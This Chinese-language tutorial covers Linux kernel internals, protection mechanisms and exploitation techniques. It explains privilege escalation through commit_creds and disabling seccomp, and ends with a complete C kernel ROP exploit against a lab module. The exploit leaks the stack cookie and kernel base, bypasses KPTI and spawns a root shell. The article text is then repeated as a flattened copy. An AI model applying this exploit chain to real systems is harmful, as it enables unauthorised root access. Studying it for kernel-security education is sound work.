Linux内核安全:漏洞利用与防护技术的博弈
字数 4440 2025-08-20 18:17:07

Linux内核安全:漏洞利用与防护技术的博弈

内核基础

什么是内核?

内核是操作系统的核心组件,负责管理计算机硬件资源和提供基础服务以支持系统软件和应用程序的运行。它是操作系统中最高权限的部分,直接与硬件交互,并通过抽象硬件功能,为用户态进程提供统一的接口。

内核常用指令

特权指令

  • CLI: 清除中断标志,禁止中断
  • STI: 设置中断标志,允许中断
  • HLT: 停止处理器,直到下一个中断发生
  • IN/OUT: 从I/O端口读写数据
  • LGDT/SGDT: 加载/存储全局描述符表(GDT)
  • LIDT/SIDT: 加载/存储中断描述符表(IDT)
  • LTR: 加载任务寄存器
  • MOV CRx: 读取或写入控制寄存器(如CR0、CR3)

系统调用相关指令

  • SYSCALL/SYSRET: 用于快速调用和返回系统调用(在x86_64架构上)
  • INT 0x80: 通过中断调用系统调用(在x86架构上)

页表管理

  • MOV CR3: 设置页表基地址寄存器,切换页表
  • INVLPG: 无效化某个虚拟地址的页表缓存

调试指令

  • INT3: 触发断点中断,通常用于调试
  • RDTSC: 读取时间戳计数器,测量精确的时间

特殊寄存器

  • cr3 (Control Register 3): 记录页表信息,用于将进程的虚拟地址转换为物理地址,这个寄存器直接用mov指令就能操作,但是要在内核模式下才能访问
  • MSR LSTAR (Model-Specific Register, Long Syscall Target Address Register): 记录了系统调用会跳转到哪里执行,使用wrmsrrdmsr指令操作,这两个指令也仅供内核使用

用户模式特权级别

CPU在执行时会记录当前程序的权限级别:

  • Ring 3: 用户模式,权限最低,限制较多,无法访问CR3等内核模式寄存器,无法执行HLT指令等
  • Ring 0: 内核模式,权限最高,可以执行任何指令和访问所有寄存器
  • Ring -1: 管理模式(主要用于虚拟化),可以拦截敏感操作,确保虚拟机中的用户内核无法无限制地访问主机硬件

操作系统模型类型

  1. 单片内核: 所有操作系统级别任务由一个统一的内核二进制文件处理。驱动程序作为库加载到此二进制文件中。示例: Linux、FreeBSD
  2. 微内核: 只有一个微小的核心二进制文件,提供进程间通信和与硬件的最小交互。驱动程序作为普通用户空间程序运行,具有稍高的权限。示例: Minux、seL4
  3. 混合内核: 结合了微内核和单片内核的特点。示例: Windows NT、MacOS

环与环之间切换

在x86_64架构下:

  1. 内核启动时在Ring 0中,将MSR LSTAR设置为指向系统调用处理程序例程
  2. 当用户空间(Ring 3)进程想要与内核交互时,可以调用syscall:
    • 权限级别切换至Ring 0
    • 控制流跳转到MSR LSTAR的值
    • 返回地址保存到rcx
  3. 内核返回用户空间时,通过sysret指令完成:
    • 权限级别切换到Ring 3
    • 控制流跳转到rcx

内核与用户空间的关系

  • 用户空间进程的虚拟内存位于低地址
  • 内核拥有自己的虚拟内存空间,位于高地址,只有在Ring 0才能访问

攻击方式

内核漏洞来源

  1. 来自网络: 远程触发漏洞,如死亡数据包
  2. 来自用户空间: 系统调用和ioctl处理程序中的漏洞
  3. 来自设备: 从连接的设备(如USB硬件)触发的漏洞

常见的内核漏洞利用手段

  1. 提升权限、安装rootkit
  2. 获得更多访问权限,攻击系统其他部分,如受信任的执行环境

内核调试环境搭建

虚拟机环境设置

推荐使用pwnkernel项目快速搭建调试环境:

  1. 解压后进入文件夹
  2. 执行build.sh脚本自动安装调试内核所需的程序和编译内核
  3. 运行launch.sh脚本启动qemu,进入虚拟linux系统环境

调试内核与syscall

  1. 启动qemu时开启了gdb远程调试(默认端口1234)与关闭了地址随机化
  2. 内核文件是./linux-5.4/vmlinux
  3. 可以通过gdb远程连接进行调试

内核模块

内核模块基础

  • 内核模块是linux生态系统的重要组成部分,主要用于实现设备驱动程序
  • 概念上类似于用户空间的库,内核将内核模块加载到自身以提供各种功能
  • 这些模块是一个ELF文件,扩展名为.ko
  • 模块中的代码会以内核相同的权限运行

内核模块交互

与内核模块交互的最常见方法是通过文件:

  1. /dev: 包含设备文件,是系统中的硬件设备和虚拟设备的接口
  2. /proc: 伪文件系统,提供接口来访问内核和进程信息
  3. /sys: sysfs文件系统的挂载点,提供统一接口来查看和配置内核对象

交互接口函数:

  • 从内核空间调用:
    static ssize_t device_read(struct file *filp, char *buffer, size_t length, loff_t *offset)
    static ssize_t device_write(struct file *filp, const char *buf, size_t len, loff_t *off)
    
  • 从用户空间调用:
    fd = open('/dev/1', 0);
    read(fd, buffer, 128);
    

高级接口ioctl:

  • 内核空间调用:
    static long device_ioctl(struct file *filp, unsigned int ioctl_num, unsigned long ioctl_param)
    
  • 用户空间调用:
    int fd=open("/dev/1", 0);
    ioctl(fd, COMMAND_CODE, &custom_data_structure);
    

编译模块

  1. src/mymodule.c中编写内核模块
  2. src/Makefile添加一个条目
  3. 执行make即可
  4. 执行build.sh自动编译
  5. 执行launch启动环境

导入内核模块

  • 使用init_module函数完成系统调用加载
  • 也可以用insmod命令载入
    insmod baimao_module.ko
    

删除内核模块

  • 使用系统调用delete_module删除加载的模块
  • 也可以用rmmod命令删除
    rmmod baimao_module
    

内核漏洞

内核内存损坏

每个内核模块都有两个非常重要的函数:

  • copy_to_user: 将数据从内核空间复制到用户空间
  • copy_from_user: 将数据从用户空间复制到内核空间

内核内存损坏可能导致以下后果:

  1. 系统崩溃
  2. 系统变砖
  3. 权限提升
  4. 干扰其他进程

权限提升原理

内核通过task_struct记录进程信息,其中最重要的是进程凭据(cred),cred结构体中包含进程的euid(有效用户ID)。如果将euid改为0,当前进程就是root权限。

提权方法:

commit_creds(prepare_kernel_cred(0));
  • prepare_kernel_cred(0): 创建一个具有root访问权限和完全权限的cred结构
  • commit_creds(): 应用这些凭据

实例演示

  1. 编写内核模块在/proc下创建设备文件
  2. 注册操作函数,在ioctl中检查特定参数后执行提权代码
  3. 用户空间程序通过openioctl触发提权

Seccomp逃逸

Seccomp实现原理

  • cred结构体是task_struct的成员
  • task_struct中的thread_info结构体包含flags变量
  • flags的第8位是TIF_SECCOMP标志位,启用seccomp

如何关闭Seccomp

通过修改task_struct->thread_info.flags,清除TIF_SECCOMP位:

current_task_struct->thread_info.flags &= ~(1 << TIF_SECCOMP)

实例演示

  1. 内核模块提供关闭seccomp的功能
  2. 用户空间程序启用seccomp防护
  3. 通过特定ioctl调用关闭seccomp

内存管理

进程内存

每个Linux进程的虚拟内存空间包含:

  • 二进制文件
  • 库文件
  • 专门映射的内存
  • 辅助区域
  • 内核代码(位于高地址部分)

虚拟内存和物理内存

  • 虚拟内存: 每个进程都有自己独立的虚拟地址空间
  • 物理内存: 是计算机实际的内存硬件,所有进程的虚拟内存都会映射到物理内存

页表

页表是内存管理单元(MMU)使用的核心数据结构,用于将虚拟地址映射到物理地址。现代计算机系统通常使用多级页表:

  1. PML4(Page Map Level 4): 最高级别的页表
  2. PDP(Page Directory Pointer): 指向页目录的指针
  3. PD(Page Directory): 页目录,包含指向页表的指针
  4. PT(Page Table): 页表,包含指向物理页的指针
  5. 页内偏移: 物理页内的具体偏移

进程隔离

  • 每个进程都有一个独立的页表
  • CR3寄存器保存当前使用的PML4表的物理地址
  • 操作系统在切换进程时通过修改CR3寄存器的值来切换页表
  • CR3寄存器只能在ring0级别访问

虚拟机的内存管理

虚拟机通过扩展页表(EPT)实现二级地址转换:

  1. 虚拟地址到客体物理地址: 虚拟机内部的页表转换
  2. 客体物理地址到实际物理地址: 扩展页表转换

内存管理单元(MMU)

  • 负责管理虚拟内存地址到物理内存地址的转换
  • 使用转换旁路缓冲区(TLB)缓存最近使用的地址映射
  • 检查每次内存访问的权限

内核保护机制

  1. 栈金丝雀(Stack canaries): 在栈上放置特殊值,检测栈溢出攻击
  2. kASLR (Kernel Address Space Layout Randomization): 启动时随机化内核的基址
  3. 不可执行堆/栈区域: 禁止执行堆和栈上的代码
  4. FGKASLR: 函数级别的地址空间布局随机化
  5. SMEP (Supervisor Mode Execution Prevention): 防止内核执行用户态内存中的代码
  6. SMAP (Supervisor Mode Access Prevention): 防止内核模式访问用户空间内存
  7. KPTI (Kernel Page-Table Isolation): 将内核和用户态的页表分离

内核ROP攻击提权实战

环境准备

  1. 提取内核文件: ./extract-image.sh bzImage > vmlinux
  2. 安装必要软件: apt-get install bc bison flex libelf-dev musl-tools cpio build-essential libssl-dev qemu-system-x86

逆向内核模块

分析vuln.ko内核模块,重点关注:

  1. init_funcexit_func: 模块入口和出口
  2. sopen: 打开设备时的操作
  3. sread: 读取时的操作(可能导致内存泄漏)
  4. swrite: 写入时的操作(可能导致栈溢出)
  5. sioctl: 特殊操作(可能修改全局变量)

漏洞利用步骤

  1. 通过sread泄露内核地址和cookie值
  2. 计算内核基地址
  3. 通过sioctl修改MaxBuffer全局变量
  4. 构造ROP链调用commit_creds(prepare_kernel_cred(0))
  5. 绕过KPTI防护使用swapgs_restore_regs_and_return_to_usermode返回用户空间
  6. 获取root shell

最终payload示例

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h>

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void get_shell(void){
    puts("[*] Returned to userland");
    if(getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}

void main() {
    save_state();
    int fd = open("/proc/pwn_device", O_RDWR);
    unsigned long leakbuf[0x100];
    read(fd, leakbuf, 0x100);
    
    unsigned long kernel_base = leakbuf[18] - 0x23e347;
    unsigned long kernel_cookie = leakbuf[14];
    unsigned long prepare_kernel_cred = kernel_base + 0x881c0;
    unsigned long commit_creds = kernel_base + 0x87e80;
    unsigned long user_rip = (unsigned long)get_shell;
    unsigned long kpti_trampoline = kernel_base + 0xc00a2f + 22;
    unsigned long pop_rdi = kernel_base + 0x1518;
    unsigned long pop_rdx = kernel_base + 0x34b72;
    unsigned long iretq = kernel_base + 0x23cc2;
    unsigned long swapgs_ret = kernel_base + 0xc00eaa;
    unsigned long cmp_rdx_ret = kernel_base + 0xa30061;
    unsigned long mov_rdi_rax_ret = kernel_base + 0x3b3504;

    printf("[*] kernel cookie: 0x%lx\n", kernel_cookie);
    printf("[*] kernel leak: 0x%lx\n", leakbuf[18]);
    printf("[*] kernel base address: 0x%lx\n", kernel_base);
    printf("[*] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred);
    printf("[*] commit_creds: 0x%lx\n", commit_creds);

    ioctl(fd, 0x20, 0x1337);
    int offset = 16;
    unsigned long payload[50];
    payload[offset++] = kernel_cookie;
    payload[offset++] = 0x0;
    payload[offset++] = pop_rdi;
    payload[offset++] = 0x0;
    payload[offset++] = prepare_kernel_cred;
    payload[offset++] = pop_rdx;
    payload[offset++] = 0x8;
    payload[offset++] = cmp_rdx_ret;
    payload[offset++] = mov_rdi_rax_ret;
    payload[offset++] = commit_creds;
    payload[offset++] = kpti_trampoline;
    payload[offset++] = 0x0;
    payload[offset++] = 0x0;
    payload[offset++] = user_rip;
    payload[offset++] = user_cs;
    payload[offset++] = user_rflags;
    payload[offset++] = user_sp;
    payload[offset++] = user_ss;

    write(fd, payload, sizeof(payload));
}

总结

Linux内核安全是一个持续的博弈过程,随着新的防护机制出现,攻击者也会发展出新的绕过技术。理解内核工作原理、内存管理和各种防护机制是进行安全研究和漏洞利用的基础。通过实际的内核模块开发和漏洞利用实践,可以深入掌握这些概念和技术。

Linux内核安全:漏洞利用与防护技术的博弈 内核基础 什么是内核? 内核是操作系统的核心组件,负责管理计算机硬件资源和提供基础服务以支持系统软件和应用程序的运行。它是操作系统中最高权限的部分,直接与硬件交互,并通过抽象硬件功能,为用户态进程提供统一的接口。 内核常用指令 特权指令 CLI : 清除中断标志,禁止中断 STI : 设置中断标志,允许中断 HLT : 停止处理器,直到下一个中断发生 IN/OUT : 从I/O端口读写数据 LGDT/SGDT : 加载/存储全局描述符表(GDT) LIDT/SIDT : 加载/存储中断描述符表(IDT) LTR : 加载任务寄存器 MOV CRx : 读取或写入控制寄存器(如CR0、CR3) 系统调用相关指令 SYSCALL/SYSRET : 用于快速调用和返回系统调用(在x86_ 64架构上) INT 0x80 : 通过中断调用系统调用(在x86架构上) 页表管理 MOV CR3 : 设置页表基地址寄存器,切换页表 INVLPG : 无效化某个虚拟地址的页表缓存 调试指令 INT3 : 触发断点中断,通常用于调试 RDTSC : 读取时间戳计数器,测量精确的时间 特殊寄存器 cr3 (Control Register 3) : 记录页表信息,用于将进程的虚拟地址转换为物理地址,这个寄存器直接用mov指令就能操作,但是要在内核模式下才能访问 MSR LSTAR (Model-Specific Register, Long Syscall Target Address Register) : 记录了系统调用会跳转到哪里执行,使用 wrmsr 和 rdmsr 指令操作,这两个指令也仅供内核使用 用户模式特权级别 CPU在执行时会记录当前程序的权限级别: Ring 3 : 用户模式,权限最低,限制较多,无法访问CR3等内核模式寄存器,无法执行HLT指令等 Ring 0 : 内核模式,权限最高,可以执行任何指令和访问所有寄存器 Ring -1 : 管理模式(主要用于虚拟化),可以拦截敏感操作,确保虚拟机中的用户内核无法无限制地访问主机硬件 操作系统模型类型 单片内核 : 所有操作系统级别任务由一个统一的内核二进制文件处理。驱动程序作为库加载到此二进制文件中。示例: Linux、FreeBSD 微内核 : 只有一个微小的核心二进制文件,提供进程间通信和与硬件的最小交互。驱动程序作为普通用户空间程序运行,具有稍高的权限。示例: Minux、seL4 混合内核 : 结合了微内核和单片内核的特点。示例: Windows NT、MacOS 环与环之间切换 在x86_ 64架构下: 内核启动时在Ring 0中,将MSR LSTAR设置为指向系统调用处理程序例程 当用户空间(Ring 3)进程想要与内核交互时,可以调用 syscall : 权限级别切换至Ring 0 控制流跳转到MSR LSTAR的值 返回地址保存到rcx 内核返回用户空间时,通过 sysret 指令完成: 权限级别切换到Ring 3 控制流跳转到rcx 内核与用户空间的关系 用户空间进程的虚拟内存位于低地址 内核拥有自己的虚拟内存空间,位于高地址,只有在Ring 0才能访问 攻击方式 内核漏洞来源 来自网络: 远程触发漏洞,如死亡数据包 来自用户空间: 系统调用和ioctl处理程序中的漏洞 来自设备: 从连接的设备(如USB硬件)触发的漏洞 常见的内核漏洞利用手段 提升权限、安装rootkit 获得更多访问权限,攻击系统其他部分,如受信任的执行环境 内核调试环境搭建 虚拟机环境设置 推荐使用 pwnkernel 项目快速搭建调试环境: 解压后进入文件夹 执行 build.sh 脚本自动安装调试内核所需的程序和编译内核 运行 launch.sh 脚本启动qemu,进入虚拟linux系统环境 调试内核与syscall 启动qemu时开启了gdb远程调试(默认端口1234)与关闭了地址随机化 内核文件是 ./linux-5.4/vmlinux 可以通过gdb远程连接进行调试 内核模块 内核模块基础 内核模块是linux生态系统的重要组成部分,主要用于实现设备驱动程序 概念上类似于用户空间的库,内核将内核模块加载到自身以提供各种功能 这些模块是一个ELF文件,扩展名为 .ko 模块中的代码会以内核相同的权限运行 内核模块交互 与内核模块交互的最常见方法是通过文件: /dev : 包含设备文件,是系统中的硬件设备和虚拟设备的接口 /proc : 伪文件系统,提供接口来访问内核和进程信息 /sys : sysfs文件系统的挂载点,提供统一接口来查看和配置内核对象 交互接口函数: 从内核空间调用: 从用户空间调用: 高级接口 ioctl : 内核空间调用: 用户空间调用: 编译模块 在 src/mymodule.c 中编写内核模块 用 src/Makefile 添加一个条目 执行 make 即可 执行 build.sh 自动编译 执行 launch 启动环境 导入内核模块 使用 init_module 函数完成系统调用加载 也可以用 insmod 命令载入 删除内核模块 使用系统调用 delete_module 删除加载的模块 也可以用 rmmod 命令删除 内核漏洞 内核内存损坏 每个内核模块都有两个非常重要的函数: copy_to_user : 将数据从内核空间复制到用户空间 copy_from_user : 将数据从用户空间复制到内核空间 内核内存损坏可能导致以下后果: 系统崩溃 系统变砖 权限提升 干扰其他进程 权限提升原理 内核通过 task_struct 记录进程信息,其中最重要的是进程凭据( cred ), cred 结构体中包含进程的 euid (有效用户ID)。如果将 euid 改为0,当前进程就是root权限。 提权方法: prepare_kernel_cred(0) : 创建一个具有root访问权限和完全权限的cred结构 commit_creds() : 应用这些凭据 实例演示 编写内核模块在 /proc 下创建设备文件 注册操作函数,在 ioctl 中检查特定参数后执行提权代码 用户空间程序通过 open 和 ioctl 触发提权 Seccomp逃逸 Seccomp实现原理 cred 结构体是 task_struct 的成员 task_struct 中的 thread_info 结构体包含 flags 变量 flags 的第8位是 TIF_SECCOMP 标志位,启用seccomp 如何关闭Seccomp 通过修改 task_struct->thread_info.flags ,清除 TIF_SECCOMP 位: 实例演示 内核模块提供关闭seccomp的功能 用户空间程序启用seccomp防护 通过特定 ioctl 调用关闭seccomp 内存管理 进程内存 每个Linux进程的虚拟内存空间包含: 二进制文件 库文件 堆 栈 专门映射的内存 辅助区域 内核代码(位于高地址部分) 虚拟内存和物理内存 虚拟内存: 每个进程都有自己独立的虚拟地址空间 物理内存: 是计算机实际的内存硬件,所有进程的虚拟内存都会映射到物理内存 页表 页表是内存管理单元(MMU)使用的核心数据结构,用于将虚拟地址映射到物理地址。现代计算机系统通常使用多级页表: PML4(Page Map Level 4): 最高级别的页表 PDP(Page Directory Pointer): 指向页目录的指针 PD(Page Directory): 页目录,包含指向页表的指针 PT(Page Table): 页表,包含指向物理页的指针 页内偏移: 物理页内的具体偏移 进程隔离 每个进程都有一个独立的页表 CR3寄存器保存当前使用的PML4表的物理地址 操作系统在切换进程时通过修改CR3寄存器的值来切换页表 CR3寄存器只能在ring0级别访问 虚拟机的内存管理 虚拟机通过扩展页表(EPT)实现二级地址转换: 虚拟地址到客体物理地址: 虚拟机内部的页表转换 客体物理地址到实际物理地址: 扩展页表转换 内存管理单元(MMU) 负责管理虚拟内存地址到物理内存地址的转换 使用转换旁路缓冲区(TLB)缓存最近使用的地址映射 检查每次内存访问的权限 内核保护机制 栈金丝雀(Stack canaries) : 在栈上放置特殊值,检测栈溢出攻击 kASLR (Kernel Address Space Layout Randomization) : 启动时随机化内核的基址 不可执行堆/栈区域 : 禁止执行堆和栈上的代码 FGKASLR : 函数级别的地址空间布局随机化 SMEP (Supervisor Mode Execution Prevention) : 防止内核执行用户态内存中的代码 SMAP (Supervisor Mode Access Prevention) : 防止内核模式访问用户空间内存 KPTI (Kernel Page-Table Isolation) : 将内核和用户态的页表分离 内核ROP攻击提权实战 环境准备 提取内核文件: ./extract-image.sh bzImage > vmlinux 安装必要软件: apt-get install bc bison flex libelf-dev musl-tools cpio build-essential libssl-dev qemu-system-x86 逆向内核模块 分析 vuln.ko 内核模块,重点关注: init_func 和 exit_func : 模块入口和出口 sopen : 打开设备时的操作 sread : 读取时的操作(可能导致内存泄漏) swrite : 写入时的操作(可能导致栈溢出) sioctl : 特殊操作(可能修改全局变量) 漏洞利用步骤 通过 sread 泄露内核地址和cookie值 计算内核基地址 通过 sioctl 修改 MaxBuffer 全局变量 构造ROP链调用 commit_creds(prepare_kernel_cred(0)) 绕过KPTI防护使用 swapgs_restore_regs_and_return_to_usermode 返回用户空间 获取root shell 最终payload示例 总结 Linux内核安全是一个持续的博弈过程,随着新的防护机制出现,攻击者也会发展出新的绕过技术。理解内核工作原理、内存管理和各种防护机制是进行安全研究和漏洞利用的基础。通过实际的内核模块开发和漏洞利用实践,可以深入掌握这些概念和技术。